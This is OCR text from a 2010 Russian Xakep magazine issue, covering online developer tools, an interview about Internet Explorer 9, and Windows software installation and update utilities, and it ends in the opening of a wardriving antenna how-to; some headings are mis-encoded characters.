Теперь обратная ситуция — бинарник есть, а 
исходника нет. Как поправить в нем пару бай-
тов? Честно говоря, толкового HEX-редактора 
в онлайне я в какой-то момент найти не смог 
и лишь потом случайно наткнулся на него на 
одном из форумов, где разработчик делился 
ссылкой на свой текущий проект и интересо-
вался, а стоит ли ему вообще его продолжать. 
Беглого взгляда на HexPaste (hexpaste.com) 
было достаточно, чтобы закричать: «Стоит!». 
Скажи, вот в каком оффлайн HEX-редакторе 
есть возможность коллективной работы 
нескольких людей? А здесь это возможно. 
Достаточно поделиться ссылкой на проект 
(нарпимер, hexpaste.com/WvwX04eV), чтобы к 
нему мог подключиться кто-то еще. Действует 
простейшая система контроля версий — 
каждое значимое изменение необходимо 

сохранить (закомитить). Интерфейс очень здо-
рово выполнен на AJAX'е, поэтому складыва-
ется ощущение, что работаешь в самой обыч-
ной, но очень простой программе. Не хватает 
различных фишек по анализу структуры, в 
том числе PE-заголовках. Последнее можно 
исправить с помощью онлайн PE-редактора, 
который серьезно выручил меня, когда надо 
было изменить точку входа в exe,шнике. 
С помощью proview phpp (pvdasm.reverse-
engineering.net/PVPHP.php) также можно 
посмотреть секции, изучить таблицы экспор-
та/импорта (скажем, для того, чтобы узнать, 
какие API-функции вызывает утилита) и т.д.

ÄÈÇÀÑÑÅÌÁËÅÐ
Помимо прочего, proview phpp — это еще и 
дизассемблер. Допускается выбрать опции 
для дизассемблирования, а также выбрать 
цветовую схему листинга, наиболее привыч-
ную по одной из известных программ (SoftICE, 
IDA, W32Dasm, Ollydbg). Но, увы, получить 
дизассемблированный код получится для 
файлов не более 100 Кб. Чтобы обойти это 
неприятное ограничение, рекомендую взгля-
нуть на более современный сервис — Pym's 
online disassembler (pyms86.appspot.com), 
построенный на базе Google App Engine. 
Первый плюс в том, что можешь анализиро-
вать не только целый файл, но и отдельные 
HEX-дампы. Проекту по зубам 64-битные при-
ложения, причем для анализа используются 
Python-библиотеки Pym (code.google.com/p/
pymsasid), pefile (code.google.com/p/pefile) и 
networkx (networkx.lanl.gov), которые очень 
прогрессивно развиваются. Возможно, в 
будущем мы расскажем, как собрать свой осо-
бенный сервис для самостоятельного дизас-
семблирования. 

ÐÅÄÀÊÒÎÐ ÊÎÄÀ
Но для того, чтобы написать код с нуля, одно-
го интерпретатора мало — необходимы удоб-
ные средства для работы кода. Одним из наи-
более старых и известных проектов является 
Amy Editor (www.amyeditor.com). Открыв стра-
ницу, ты получаешь практически все бонусы 
обычного десктопного редактора для про-
граммистов. Поддерживается подсветка сразу 
для нескольких языков: C, Java, Javascript, 
PHP, Python, Ruby on rails, Ruby, Texy, HTML/
XML-разметка. Добавляем сюда автозакры-
тие скобок/кавычек, правильный перенос 
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строки (сразу с нужным отсупом, особенно чувствуется в Python), 
набор сниппетов, упрощенную вариацию автодополнения команд и 
даже некоторые возможности для совместной работы с кодом. Даже 
сворачивание тела функции — и то работает. Увы, проект давно не 
развивается (хотя и распространяется в открытых исходниках). Зато 
семимильными шагами развиваются другие проекты:
• Bespin от компании Mozilla (bespin.mozillalabs.com) — бесподобный 
редактор кода для веб-проектов (HTML/JavaScript);
• CodeMirror (marijn.haverbeke.nl/codemirror) — библиотека JavaScript 
для реализации редактора, поддерживающая работу с самыми разны-
ми языками: JavaScript, XML/HTML, CSS, Python, Lua, Ruby, SQL;
• Ymacs (www.ymacs.org) — Emacs-подобный редактор, полностью 
выполненный на Ajax.
Все три проекта — исключительно качественные современные редак-
торы кода и распространяются в открытых исходниках. Да, можно 
поставить любой из них у себя, но зачем, если есть сервис Kodingen.

ÏÎËÍÎÖÅÍÍÀß IDE
Ребята из Kodingen, задумавшие реализовать полноценную среду 
разработки в вебе, выбрали очень правильный сценарий развития. 
Вместо того чтобы изобретать велосипед, разрабатывая еще один 
редактор кода, который претендовал на универсальность, они про-
сто встроили имеющиеся замечательные разработки в свой про-
дукт! А сами тем временем сосредоточились на создании других 
необходимых для IDE опций, в том числе для совместной работы! 
Сервис находится в состоянии активного развития и носит статус 
беты, а разработчики каждый месяц подкармливают появившую-
ся армию поклонников новыми фишками. Уже сейчас над любым 
проектом можно работать в команде. И если на текущем этапе 
colaboration поддерживается только средствами самого сервиса, то 
на подходе поддержка всех популярных систем для контроля вер-
сий: svn, git, mercirual! Уже сейчас можно прописать у себя в про-
филе учетные записи для доступа к хостингу по FTP и сразу зали-
вать обновленные сорцы на сервер. А хочешь — можешь хоститься 
прямо в Kodingen. Всем желающим создатели предоставляют 
хостинг в своем облаке (по крайней мере, пока). Еще одна интерес-
ная опция — шелл-доступ своим файлом прямо из веб-интерфейса, 
не надо даже коннектиться по SSH! Одним словом — супервещь!

VISUAL STUDIO Â ÂÅÁÅ
Если посмотреть на поддержку языка программирования, то везде 
сплошные Perl/Python/PHP — в общем, скриптовые языки. А как 
быть, скажем, с C#? Неужели нельзя с помощью веб-интрумента соз-
дать полноценное веб-приложение, используя наработки Microsoft? 
Можно! Соревноваться с Visual Studio в рамках веба замахнулись 
три израильских программиста, основавшие проект coderun (www.
coderun.com). И ведь сделали. Уже сейчас в привычном тебе по 

Visual Studio виде, то есть с очень похожим интерфейсом, подсвет-
кой синтаксиса и даже IntelliSense, ты можешь создавать ASP.NET, 
PHP, Ajax, а также виндовые приложения на WPF прямо в браузере! 
Поддерживаются C#/.NET (3.5), PHP (5.1), JavaScript, HTML и CSS. 
Причем для C# реализована поддержка всех модных технолоий 
Microsoft: ASP.NET, WCF, Silverlight и WPF. В качестве баз данных 
можно нативно использовать SQL Server 2005 и Amazon SimpleDB. 
Это значит, что не надо изучать ничего нового. Если у тебя есть про-
ект на ASP.NET и SQL Server, можешь залить его на coderun и запу-
стить. Стоп, что значит «запустить»? Да-да, coderun поддерживает 
компиляцию для .NET управляемого кода, для этого используются 
мощности серверов из облака. Мало того, сервис обладает еще и 
мощным онлайн-дебаггером. Ты можешь последовательно трей-
сить код, устанавливать watch'и, чтобы наблюдать за переменными, 
изучать callstack — почти фантастика. Вот она — первая заявка на 
настоящую IDE в браузере. Правда, справедливости ради надо ска-
зать, что реально использовать coderun пока довольно сложно. В 
глаза довольно часто бросаются недоделки, а скорость работы подчас 
катастрофически падает. 

ÄÅËÈÌÑß ÊÎÄÎÌ
Если редактировать код вместе не нужно, а нужно поделиться 
исходниками, какими-нибудь конфигами, XML-ками, дампами или 
просто текстовыми файлами, пригодится инструмент, о котором мы 
недавно говорили в WWW2 — Pastie (pastie.org). Все, что требуется 
— это скопипастить в форму текст и указать его тип (скажем, исход-
ник на C++ или Python). Сервис выдаст короткий линк, перейдя по 
которому, любой увидит исходный текст с красиво подсвеченным 
синтаксисом. Всего сервис поддерживает 38 различных языков 
программирования, файлов-конфигураций и вывода некоторых 
программ. Во время просмотра можно изменить тему для отобра-
жения так, чтобы было максимально похоже на привычную среду 
разработки. Сам проект написан на Ruby, причем правила для под-
светки синтаксиса были позаимствованы у TextMate. Помимо Pastie 
есть еще один интересный сервис, нацеленный на обмен сниппе-
тами. В публичном репозитории кода Snipplr хранится огромное 
количество исходников и сниппетов на разные темы. Обязательное 
требование к заметке — четкое описание и теги, поэтому в репози-
тории очень легко найти нужные участки кода.

ÐÅÃÓËßÐÍÛÅ ÂÛÐÀÆÅÍÈß ÁÅÇ ÁÎß
Существует довольно много программ для быстрого составления 
регулярных выражений, например, RegexBuddy. В онлайне такие 
решения тоже есть. Правда, по большей части это простые сер-
висы для проверки регеспов, причем строго определенных типов. 
Из толпы выдется очень добротная онлайн-тулза RegExr (www.
gskinner.com/RegExr), реализованная в виде Flex-приложения. 
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Почти Notepad++, но в онлайн
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В чем ее фишка? Благодаря Flex'у удалось сделать 
очень удобный и быстрый интерфейс. Ты можешь 
писать регулярное выражение в одном поле и тут 
же в реальном времени отслеживать, как оно рабо-
тает в другом. Для любой конструкции выводится 
описание того, что она делает и как используется. 
В результате регулярку могут составить даже те, кто 
вообще не знает теории. Мало того, при наведении 
на любой из элементов регеспа сервис отображает, 
что именно он делает. Обалденная опция на случай, 
если необходимо разобраться, что делает громоздкое 
выражение, которое когда-то давно составил ты сам 
или вообще другой человек. Любое выражение можно 
сохранить на потом, добавив ее во внутреннюю базу 
RegExr'а. Благодаря этой возможности в базе даже 
сейчас есть большое количество готовых регеспов 
на многие случаи жизни. А значит, вместо того чтобы 
ковыряться самому, можно взять уже готовое чужое 
решение, отыскав его по ключевым словам, а потом 
сразу же проверить в действии с нужными входными 
данными. Кстати говоря, большая библиотека регу-
лярных выражений также располагается на www.
regexlib.com.

ÎÍËÀÉÍ, ÎÁËÀÊÎ, IDE
В этот перечень я намеренно не стал включать 
инструменты для общения разработчиков внутри 
команды, а также планирования проектов. Их 

очень много, они разные и чаще всего платные. Я 
же уверен, что в большинстве случаев можно не 
строить умные диаграммы и графики, а воспользо-
ваться простой системой для управления задачами 
вроде Teamer'а (www.teamer.ru). В любом случае у 
нас есть отдельный повод поговорить об инстру-
ментах планирования времени и управления зада-
чами. Если тебе интересны способы увеличения 
эффективности, пиши нам! :) z

Редактор Bespin встроен в среду Kodingen

Репозитарий готовых сниппетов на многих 
языках программирования

Visual Studio vs. coderun

Всем фанатам Emacs посвящается

• Эмуляция Python-
интерпретатора, при-
чем реализованная на 
Silverlight, доступна 
на сайте Try Python 
(www.trypython.org). 
А благодаря Utility 
Mill (utilitymill.com), 
из Python-скрипта 
можно легко сделать 
веб-сервис.

• Зашить файлы на 
FTP-сервер также 
легко через веб. Для 
этого пригодится 
клиент net2ftp (www.
net2ftp.com).

Специально для PHP 
есть еще одна доброт-
ная IDE в бразуере 
— это phpAnyware 
(phpanywhere.net). 
Среда поддерживает 
загрузку файлов FTP, 
имеет подсветку син-
таксиса и в будущем 
обещает автодопол-
нение команд.

info

INFO
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ÏÐÎ ÎÑÍÎÂÍÛÅ ÀÑÏÅÊÒÛ
Самый большой акцент в новой версии IE 
мы делаем на улучшение производитель-
ности и поддержку стандартов. Если посмо-
треть Internet Explorer Platform Preview (ie.
microsoft.com/testdrive), то можно уже сейчас 
оценить, насколько шустрее работают страни-
цы со сложной графикой. Это стало доступным 
засчет Direct2D и прямого использования 
GPU. Помимо этого мы полностью переписали 
движок JavaScript. Что касается поддержки 
стандартов, то в этой версии мы реализуем 
практически все, что хотят люди при создании 
сайтов: CSS3, объектную модель, SVG, многие 
вещи из HTML5.

ÏÐÎ ÏÐÎÈÇÂÎÄÈÒÅËÜÍÎÑÒÜ
Есть много способов сделать браузер медлен-
ным :). Для того, чтобы сделать его быстрее, 
необходимо изучить те моменты, которые при 
выполнении страниц требуют много времени. 
Например, один из важных вопросов при 
выполнении Javascript — когда и какую часть 
скрипта компилировать. Скомпилированный 
скрипт работает быстрее, но компиляция 
занимает время. Если ничего не компилиро-
вать, то скрипт без циклов работает быстро, а 
с циклами — медленно. Если каждая строчка 
выполняется только один раз, то компиля-
ция — это пустая трата времени. Такого рода 
решения влияют на производительность 
реальных сайтов. Для IE9 мы c нуля пере-
писали обработку JavaScript. Новый движок 
называется Chakra. Он использует сильно 
оптимизированный доступ к объектной моде-
ли, а также компиляцию в бэкграунде — это 
дает ощутимый результат. Бенчмарк SunSpider 
показывает, насколько быстрее стал IE9 по 

сравнению с IE8. Но по результатам того же 
теста IE медленнее, чем Chrome или Opera. 
Тут важно понимать одну вещь: любой тест, 
как бы правильно он ни был составлен, все 
равно сильно отличается от реального мира. 
Мы пробовали играться с параметрами, но, 
выигрывая в тестах SunSpider, получали более 
медленное выполнение реальных страниц.

ÏÐÎ ACID È ÄÐÓÃÈÅ ÒÅÑÒÛ
Показателем поддержки стандартов многие 
считают тест ACID3, но у IE9 в нем результат 
пока небольшой. Открою секрет. И ACID 2, и 
ACID3 — это очень интересные тесты, которые 
на самом деле мало что полезного тестируют. 
Большинство из этих стандартов, поддержка 
которых проверяется — это лишь развиваю-
щиеся технологии, немногие из которых имеют 
статус официальных. Таким образом, ACID3 
проверяет скорее не поддержку стандартов, а 
поддержку неких трендов — тех вещей, кото-
рые возможно когда-нибудь будут стандарти-
зованы. Пройдет ли IE9 на ACID3 100%? Не 
могу сказать. Мы не пытаемся подогнать брау-
зер для корректной работы в этом тесте. Когда 
мы зарелизим IE9, результат будет приближен 
к максимуму, но если какие-то тесты браузер 
не будет проходить, то только потому, что мы 
не согласны, что этого стандарта необходимо 
придерживаться, либо этот стандарт еще не 
стал официальным. Когда мы разрабатывали 
IE8, то только для проверки CSS мы создали 
более 8000 тестов.

ÏÐÎ ÁÅÇÎÏÀÑÍÎÑÒÜ
Понятно, что в программе из многих мил-
лионов строк можно найти проблемы. Да, в 
браузерах бывают ошибки, и да, некоторые из 

этих ошибок могут быть использованы хаке-
рами. У нас есть профи, которые специализи-
руются именно на безопасности. Если какой-
то программист пишет код и говорит, что в 
этом месте ну никак не может быть ошибки, 
эти ребята быстро объясняют ему, как этот 
«безопасный код» будет взломан. Большая 
головная боль — IE6. Он был хорош для свое-
го времени, но когда это было? Мы говорим: 
«Перестаньте, пожалуйста, использовать IE6». 
В конце концов, поставьте Chrome, а потом 
уж с него переключайтесь на Internet Explorer 
:). К сожалению, мы не можем прийти и 
насильно поставить на ваш компьютер дру-
гой браузер — многие приложения заточены 
именно под 6-ую версию IE. Кстати, Internet 
Explorer 9 не будет работать в Windows XP; 
помимо прочего это связано с безопасно-
стью. В этой версии Windows невозможно 
использовать DEP и ASLR. Другая важная 
причина — отсутствие Direct2d, то есть невоз-
можность использования графического уско-
рения.

ÏÐÎ ×ÅËÎÂÅ×ÅÑÊÈÉ ÏÎÄÕÎÄ
Какое-то время над IE в Microsoft работали 
мало, а наши конкуренты трудились интен-
сивно. Я надеюсь, что сейчас мы научились 
слушать людей, и сейчас делаем все, что дей-
ствительно нужно. В новой версии появится 
инструменты для разработчика: например, 
Network Monitoring уже есть в превью. Это не 
то же самое, что Fiddler (www.fiddler2.com), но 
близко к тому. Нажимаешь кнопку — и видишь 
весь network-график, с временным тестами, 
с графиками. Все это можно посмотреть и 
проанализировать. Когда выйдет релиз? Не 
скажу, давайте дождемся беты.z

Êîãäà êàæäûé âòîðîé íîìåð ðóãàåøü Internet Explorer, 
õî÷åòñÿ ïîñìîòðåòü â ãëàçà òîìó ÷åëîâåêó, êòî ýòîò áðàóçåð 
äåëàåò. ß ïîñìîòðåë! :) Â àïðåëå â Ìîñêâó ïðèëåòåë Àëåêñ 
Ìîãèëåâñêèé — îäèí èç àðõèòåêòîðîâ IE è ñïåöèàëèñòîâ 
ïî ñòàíäàðòàì, êîòîðûé  ïðåäëàãàåò è óòâåðæäàåò òåõíî-
ëîãèè â ðàìêàõ ñâîåé ðàáîòû â êîíñîðöèóìå W3C îò èìåíè 
Microsoft. ß ðåøèòåëüíî íàñòðîèëñÿ ïîìó÷èòü Àëåêñà 
ïî ïîâîäó íîâîé âåðñèè  Internet Explorer, è âîò ÷òî îí ìíå 
ðàññêàçàë.

Êîëîíêà ðåäàêòîðà 

 034 XÀÊÅÐ  06  /137/  10

Алекс Могилевский — один 
из архитекторов Internet Explorer
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 Å
сть множество причин, почему Micro-
soft не реализовала ничего схожего 
с менеджером пакетов. Обсуждать 
этот вопрос можно довольно долго, но 
зачем? Занятие это неблагодарное и 

едва ли полезное. Вместо этого предлагаю 
заняться делом и попробовать обустроить 
систему, сродни той, что используется в 

любом современном Linux’е. Менеджер 
пакетов позволяет быстро найти и установить 
приложения, позже установить апдейты, а в 
случае необходимости — правильно удалить 
софт. Задача ясна, и раз уж в винде нет ничего 
подобного, то реализуем что-нибудь подобное 
сторонними средствами.

ÏÅÐÂÈ×ÍÀß ÓÑÒÀÍÎÂÊÀ ÑÎÔÒÀ
Нет ничего более утомительного и скучно-
го, чем первичная установка программ на 
девственно чистую систему. Нет, правда! 
Даже если не бросаться с места в карьер, 
устанавливая сразу весь необходимый софт 
(хотя есть и такие фетишисты), а делать это 
постепенно, то все равно базовый набор прог, 
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Êîãäà-òî äàâíî óñòàíîâêà ïðîãðàììû â Linux ïðåâðàùàëàñü â öåëûé îáðÿä. 
Ìàëî áûëî íàéòè è ñêà÷àòü èñõîäíèê, íåîáõîäèìî áûëî åãî âðó÷íóþ ñîáðàòü, 
óäîâëåòâîðèâ íåíàâèñòíûå çàâèñèìîñòè. Òåïåðü íå íàäî äàæå êà÷àòü 
äèñòðèáóòèâ — äîñòàòî÷íî âûáðàòü ïðîãðàììó â ìåíåäæåðå ïàêåòîâ è íàæàòü 
íà êíîïêó «Óñòàíîâèòü». Â âèíäå æå ïî-ïðåæíåìó ïðèõîäèòñÿ ñàìîìó èñêàòü 
äèñòðèáóòèâû è ïîòîì âðó÷íóþ óñòàíàâëèâàòü ñîôò. Ôàêò!

  Степан «Step» Ильин  step@glc.ru

Áûñòðàÿ óñòàíîâêà è îáíîâëåíèå ïðîãðàìì

Ìåíåäæåð 
ïàêåòîâ äëÿ Windows
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без которых ну никак не обойтись, все равно 
заставит почувствовать себя станочником 
третьего разряда. Три операции: «Открыл 
сайт», «скачал дистрибутив», «поставил 
программу» — и так двадцать раз за смену. 
Браузер, мессенджер, кодеки и аудио/видео 
проигрыватель, читалка для PDF, офисный 
пакет, антивирус, последние версии Java/.
NET Framework/Flash, архиватор — джентль-
менский набор никто не отменял. Тут и за 
целую рабочую смену можно не управиться! :) 
Есть вероятность свалить пораньше, если под 
рукой есть Dailysoft с последнего диска ][, но 
так и брак пропустить можно: а вдруг новая 
версия вышла? Словом, единственный вари-
ант — послать эту тягомотину лесом и искать 
вариант лучше. 
Итак, добавляй в закладки онлайн-сервис 
www.ninite.com. Этот недавно появившийся 
ресурс уже успел избавить меня от несколь-
ких часов мучений и бездарного времяпре-
провождения. Как? Идея очень проста. На 
единственной странице доступен список 
различных преимущественно бесплатных 
или открытых приложений, который разбит 
по группам: «Браузеры», «Безопасность», 
«Разработка» и т.д. От тебя требуется 
выбрать нужные утилиты и нажать на кнопку 
«Get Installer». В результате за несколько 
кликов мыши мы получаем универсальный 
инсталлятор, который разом установит все 
выбранные программы. Сам установщик 
весит совсем немного и подкачивает все 
необходимые данные прямо во время уста-
новки. Отдельные моменты, конечно, насто-
раживают. Например, кто его знает, что зака-
чивает этот установщик? Но ведь как удобно! 
К сожалению, инсталлятор не оставляет дан-
ные, которые скачал для установки, поэтому, 
увы, не получится создать offline-установщик 

и записать его себе на флешку, но такая 
опция доступна в платной версии сервиса.
 
ÏÐÎÊÀ×ÈÂÀÅÌ ÈÄÅÞ
Помимо отсутствия оффлайн-установки в бес-
платной версии Ninite есть еще один недоста-
ток — инсталлятор с нужными приложениями 
каждый раз приходится составлять заново. 
Странно, что разработчики не добавили прос-
тейшую систему регистрации, чтобы можно 
было залогиниться и сразу скачать инстал-
лятор для когда-то уже составленного набора 
программ. Избежать подобной оплошности 
удалось парням из Франции, которые реали-
зовали аналогичный сервис — www.allmyapps.
com. По сути это тот же Ninite, только с еще 
большим количеством софта и возможностью 

прилинковать список приложений к своему 
личному аккаунту (регистрация бесплатная). 
Помимо того в системе можно установить 
дополнительный десктопный клиент, после 
чего в интерфейсе Allmyapps будут отмечены 
утилиты, которые уже имеются в системе и не 
нуждаются в установке. Впрочем, даже при 
таком раскладе универсальный инсталлятор — 
это все же не менеджер пакетов.
Чуть приблизиться к идее менеджера при-
ложений позволяет ZeuAPP (blog.zeusoft.net/
zeuapp), реализованный в виде десктопного 
приложения. Разработка также предлагает 
широкий список бесплатных и открытых прог-
рамм, которые можно быстро установить в 

Выбираем программы для создания универсального инсталлятора

Устанавливаем и обновляем драйвера

Пожалуй, самое ненавистное дело после переустановки системы — это даже не 
инсталляция всех программ. Нет! Есть монстр куда хуже — драйвера. Когда я впервые 
увидел Windows 7, хотелось закричать: «Свершилось!». Да, система через Windows 
Update потягивает практически все необходимые дрова, и в этом я уже не раз убеж-
дался. В результате уже не приходится ломать голову, какие неизвестные девайсы 
прописались в менеджере устройств — все устанавливается автоматом. Но как быть 
с ранними версиями винды и как в принципе обновить драйвера? Наш ответ — 
DriverMax (www.innovative-sol.com/drivermax). Эта небольшая утилита позволит быстро 
стянуть из инета последнюю версию дров для самых разных устройств. Забудь про 
мучительные поиски редкого драйвера или давно пропавшего диска из «коробочки» 
— просто создай бесплатный аккаунт на сервисе и скачай все, что нужно. Впрочем, 
программа будет полезна даже в том случае, если ты такому подходу не доверяешь и 
предпочитаешь скачивать системное ПО с официальных сайтов. Drivermax имеет еще 
одну важную функцию — бэкап всех драйверов в системе. Поэтому после переустанов-
ки системы инсталляция всех драйверов займет всего пару минут и потребует мини-
мум усилий. Хочется признаться, что пару раз драйвера с помощью DriverMax я все-
таки не находил, но быстро исправлял ситуацию с помощью другой утилиты — Device 
Doctor (www.devicedoctor.com).
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Пока одни программы устанавли-
ваются, Ninite закачивает другие

Сохраненный джентельменский 
набор allmyapps
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системе. Выбираем нужную, кликаем «Download» — и 
программа сама, скачав дистрибутив, начинает процедуру 
установки. Увы, процедура инсталляции не прозрачна и не 
автоматизирована: пользователю даже приходится вруч-
ную выбирать папку для закачки дистрибутива. Но и это 
не все. Если онлайн-сервисам еще можно было простить 
отсутствие проверки версий в системе и возможность 
обновления софта, то в десктопном ZeuAPP такую возмож-
ность вполне можно было реализовать. Так что придется 
искать решение для поддержки актуальности версий 
дополнительно.
 
ÎÁÍÎÂËÅÍÈÅ 
ÓÑÒÀÍÎÂËÅÍÍÛÕ ÏÐÎÃÐÀÌÌ
В случае с виндовыми приложениями, когда чуть не каж-
дую неделю появляются новые публичные сплойты для 
разных браузеров, Adobe Reader'а и прочих клиентских 
приложений, вопрос обновления особенно актуален. 
Полностью автоматической системы, которая отслежи-
вала бы появление новых версий и сама осуществляла 
апдейт, я не нашел. Но это, наверное, даже к лучшему, ибо 
от подобной автоматики в условиях Windows-окружения 
ждать можно было бы чего угодно. Совсем другое дело 
— полуавтоматический инструмент, который бы кро-
потливо отслеживал наличие обновлений и предлагал 
установить их вручную с помощью штатных инсталлято-
ров. Разработкой подобных инструментов и занимается 
западная security-компания Secunia. Мы не будем брать 
серьезные корпоративные решения, нацеленные на цен-
трализованное обновление в сети, а возьмем бесплат-

ную утилиту для персонального использования — Secunia 
Personal Software Inspector. 
Легковесная утилита быстро и со знанием дела сканирует 
всю систему и выдает подробный отчет, какие из программ 
нуждаются в обновлении. Для каждой устаревшей проги 
выдается рейтинг угрозы (в соответствии с обширной 
базой Secunia описаний уязвимостей) и, что самое удобное, 
прямая ссылка на загрузку самой последней версии дис-
трибутива. Один клик — и уже можно приступать к обнов-
лению. Помимо этого проверяется наличие апдейтов для 
самой винды, а всякий раз, когда ты по ошибке установишь 
не самую последнюю версию какой-нибудь софтины, в 
трее будет появляться соответствующее предупрежде-
ние. Особое внимание уделяется безопасности браузеров 
и прилинкованных к ним плагинам (Adobe Flash Player, 
QuickTime, Sun Java и т.д.), а также клиентским программ 
для сетевых сервисов (например, Skype). Подробный отчет, 
скажем, по ActiveX-компонентам становится доступен, если 
перевести Secunia PSI в расширенный режим интерфейса. 
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На нашем диске ты 
найдешь не только 
свежие версии про-
грамм из джентль-
менского набора (это 
наш раздел Dailsoft), 
но и все утилиты, 
представленные 
в этой статье.

dvd

DVD

Установка свежих версий security-программ в один клик
Ага, целая пачка 
непатченного софта в системе

Первое, что делает Magic UnInstall — сле-
пок реестра и файловой системы

Авто-апдейт от Google

Если ты когда-нибудь скачивал Google Chrome, то знаешь: вместо 
оффлайн-дистрибутива браузера ты сливаешь лишь оболочку-инсталлятор, 
который уже, в свою очередь, в зависимости от ОС и прочих параметров, 
докачивает все необходимое. А если заходил когда-нибудь на страницу 
pack.google.com, то, наверное, обязательно обращал внимание на прог-
рамму, которая разом устанавливает или обновляет в системе продукты от 
Google. Такая система интеллектуальной установки и автоапдейта назы-
вается Google Update или omaha. Этот проект развивается под открытой 
лицензией и всегда доступен с code.google.com/p/omaha. Важно, что это 
не просто программа, а продуманная в архитектурном плане система, 
позволяющая легко устанавливать и обновлять различные приложения 
— то, чего не хватает в современной винде, чтобы сделать репозиторий с 
софтом и менеджер пакетов а-ля Linux.
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Перед началом сканирования утилит скачиваем по безо-
пасному HTTPS-проколу набор правил, в которых обозна-
чено, каким образом проверять актуальность приложения. 
Тут стоит сказать, что на моей машине установлено просто 
огромное количество софта, от которого я не успеваю  
избавляться. При этом Secunia умеет находить обновлен-
ные версии для многих из них. Увидев в своей RSS-ленте 
информацию об обновленной версии Java, эксперимента 
ради я запустил PSI — информация о необходимости 
обновления тотчас появилась на экране. Вот здесь-то и 
начинаешь ощущать, что поддержкой продукта занимает-
ся не парочка энтузиастов, а целая команда security-
специалистов. Кстати говоря, в любой момент времени 
PSI выдает рейтинг обновленной системы Secunia System 
Score. У меня это значение после долгого отсутствия 
апдейтов составляло 86%. А у тебя?

ÊÀÊ ÁÛÒÜ Ñ ÁÅÒÀ-ÂÅÐÑÈßÌÈ?
Несмотря на наличие устаревших программ, в системе 
уживается еще и огромное количество бета-версий софта, 
которому до релиза еще далеко. Вообще приятно полу-
чить приятные бонусы намного раньше других, а помочь 
разработчикам в поиске нескольких багов — не такая уж 
большая плата за такую возможность. Увы, Secunia PSI 
никакие бетки не признает — оно и понятно, если уж 
в релизах полно багов, то чего ждать от бета или даже 
альфа-версий? Как же быть? Отслеживать выход свежих 
программ мне помогают ресурсы fileforum.betanews.com 
и  www.filehippo.com. Если в первом просто публикуют-
ся новости о недавно вышедших версиях программ, то 
FileHippo представляет собой огромнейший каталог софта, 
который скрупулезно обновляется, как только выходит 
новая версия программы — вероятно, это делается авто-
матически. Больше того, всем желающим предлагается 
скачать FileHippo.com Update Checker, который так же, 
как и прога от Secunia, проверяет установленные в систе-
ме программы на наличие обновлений. Но при этом... в 
отдельном списке предлагает установить еще и доступные 
бета-версии программ, указывая прямые линки на загруз-
ку дистрибутивов. Забавно, что после установки только что 
скачанной FileHippo.com Update Checker PSI тут же отпи-
сался, что для этой программы есть версия новее. Ведь 
явно врет, обижается что ли? :)

ÏÐÀÂÈËÜÍÎÅ ÓÄÀËÅÍÈÅ ÏÐÎÃÐÀÌÌ
Когда меню «Пуск» разрастается до нереальных размеров, 
начинаешь задумываться: «Пожалуй, здесь много лишне-
го». Мое правило примерно таково — всякий раз, запуская 
штатный виндовый менеджер для установки и удаления 
программ, можно избавиться как минимум от пяти ненуж-
ных утилит :). Вот, казалось бы, единственная функция 
пакетного менеджера, которая удаляет программы, и 
которую Microsoft вроде как реализовал, есть. Пользуйся 
— не хочу. Но нет! Программу, конечно, она с грехом попо-
лам удаляет, но если сделать снимок реестра и файловой 
системы до установки и после удаления, то обнаружива-
ются интересные факты. Лишние ключи реестра, какие-то 
временные файлы… Почему они остались — непонятно. 
Есть много утилит, которые магическим образом обещают 
правильно удалять программы из системы, используют 
интеллектуальные алгоритмы для поиска левых ключей 
в реестре и т.д. На деле большинство из них — полная 
туфта, но не Ashampoo Magical UnInstall (www.ashampoo.
com). Чем же он отличается от всех остальных? Принципом 
действия. Идея в том, что программа все время работает 
фоном и как только обнаруживает запуск setup.exe, install.

exe и прочих инсталляционных бинарников, начинает 
тщательно следить за их действиями и изменениями в 
системе. По ходу дела составляется база данных, в кото-
рой записаны все действия установщика: какие ключи в 
реестре прописал, какие файлы и где разместил — все 
четко по факту. Захотел удалить программу? Ashampoo 
Magical UnInstall пробивает ее по базе и откатывает назад 
все изменения. Подход работает безотказно. Мало того, 
если ты по ошибке удалил не ту программу или банально 
передумал, то любую операцию деинсталляции можно в 
течение некоторого времени отменить, воспользовавшись 
встроенной утилитой ReInstaller. Magical UnInstall пока еще 
распространяется бесплатно, но лицензионный ключ при-
дется запросить на сайте разработчиков.

ÓÂÛ È ÀÕ!
Менеджер пакетов как в Linux? Увы, пока ничего не 
выйдет. До тех пор, пока нет стандартизированного меха-
низма для установки, обновления и удаления приложе-
ния, репозитория для хранения программ, о каком-либо 
аналоге apt-get из никсов можно даже не говорить. Косяк 
Microsoft? Безусловно. Но ведь и разработчики открытого 
софта не сильно чешутся на этот счет. Повально размещая 
свои проекты на Google Code, SourceForge и других ресур-
сах, давно можно было сообразить и что-нибудь подобное. 
Только подумай: удобный менеджер приложений, в кото-
ром будет только открытый софт — каков бонус для всего 
опенсорса, а? Пока же придется довольствоваться раз-
розненными утилитами, которые даже в тандеме подчас 
не делают всего того, на что способны менеджеры пакетов 
в Linux.z

• Можно взять на 
заметку другие не-
плохие программы 
для поиска апдейтов 
для установленного 
на компьютере соф-
та. Это SUMo (www.
kcsoftwares.com) 
и Appupdater (www.
nabber.org/projects/
appupdater).

• Несколько лет назад 
энтузиасты пытались 
создать порт линук-
сового apt-get — так 
на свет появился 
win-get (windows-get.
sourceforge.net). На-
писанная на Pascal'е 
система позволяла 
через консоль устано-
вить некоторые утили-
ты, но, к сожалению, 
разработка быстро 
заглохла. Та же судьба 
постигла и другие 
начинания: Appsnap, 
Appupdater  и даже 
пытавшийся объеди-
нить все имеющиеся 
решения GetIt (www.
puchisoft.com/GetIt).

info

INFO

Для каждой проги предлагает-
ся прямой линк на дистрибутив 
новой версии
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ЗАДАЧА:   ПОДКЛЮЧИТЬ ВНЕШНЮЮ АН-
ТЕННУ К КОМПЬЮТЕРУ ИЛИ НОУТБУКУ

 
РЕШЕНИЕ:
Тема вардрайвинга нынче модна, и интерес к ней очень велик. Мануалы 
сведены «до кликов», попробовать себя хочет каждый. Но стандартных 
встроенных антенн в ноутбуках не хватает, особенно если хочется для начала 
попрактиковаться, и чтобы со всеми удобствами — из дома, а лишние денеж-
ные затраты хочется свести к минимуму. Сделать свою собственную антенну 
нетрудно — в Сети полно мануалов, и ты можешь найти подходящую и по силе 
приема, и по своим навыкам, и по размерам загогулину. Другое дело — присо-
единить ее к самому ноутбуку. Вообще, в ноутбуке на WiFi-карте обычно есть 
«выход» на внешнюю антенну, помеченный как «aux». И все, что нам требуется 
